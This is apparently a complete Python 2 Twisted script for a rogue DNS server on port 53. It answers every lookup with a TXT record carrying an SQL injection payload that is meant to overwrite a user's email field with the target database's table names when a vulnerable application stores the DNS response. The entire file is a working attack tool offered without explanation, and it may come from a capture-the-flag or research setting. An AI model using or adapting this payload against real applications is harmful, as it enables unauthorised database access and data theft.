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import socket | |
import time | |
from twisted.internet.protocol import Factory, Protocol | |
from twisted.internet import reactor | |
from twisted.names import dns | |
from twisted.names import client, server | |
from twisted.internet import defer | |
class MyResolver(client.Resolver): | |
def lookupAllRecords(self, name, timeout=None): | |
results = [] | |
authority = [] | |
additional = [] | |
_ttl = 0 | |
INJ = "',email=(SELECT GROUP_CONCAT(table_name) from information_schema.tables where schema_name!='information_schema'),resetinfo='" | |
record = dns.Record_TXT(INJ, ttl=_ttl) | |
results.append( dns.RRHeader(name, type=record.TYPE, payload=record, auth=True,ttl=_ttl) ) | |
print INJ | |
return defer.succeed((results, authority, additional)) | |
class DNSServerFactory(server.DNSServerFactory): | |
def gotResolverResponse(self, (ans, auth, add), protocol, message, address): | |
qname = message.queries[0].name.name | |
print time.time(), address | |
print message.queries | |
print 'ans',ans | |
args = (self, (ans, auth, add), protocol, message, address) | |
return server.DNSServerFactory.gotResolverResponse(*args) | |
verbosity = 0 | |
resolver = MyResolver(servers=[('8.8.8.8', 53)]) | |
factory = DNSServerFactory(clients=[resolver], verbose=verbosity) | |
protocol = dns.DNSDatagramProtocol(factory) | |
factory.noisy = protocol.noisy = verbosity | |
reactor.listenUDP(53, protocol) | |
reactor.listenTCP(53, factory) | |
reactor.run() |
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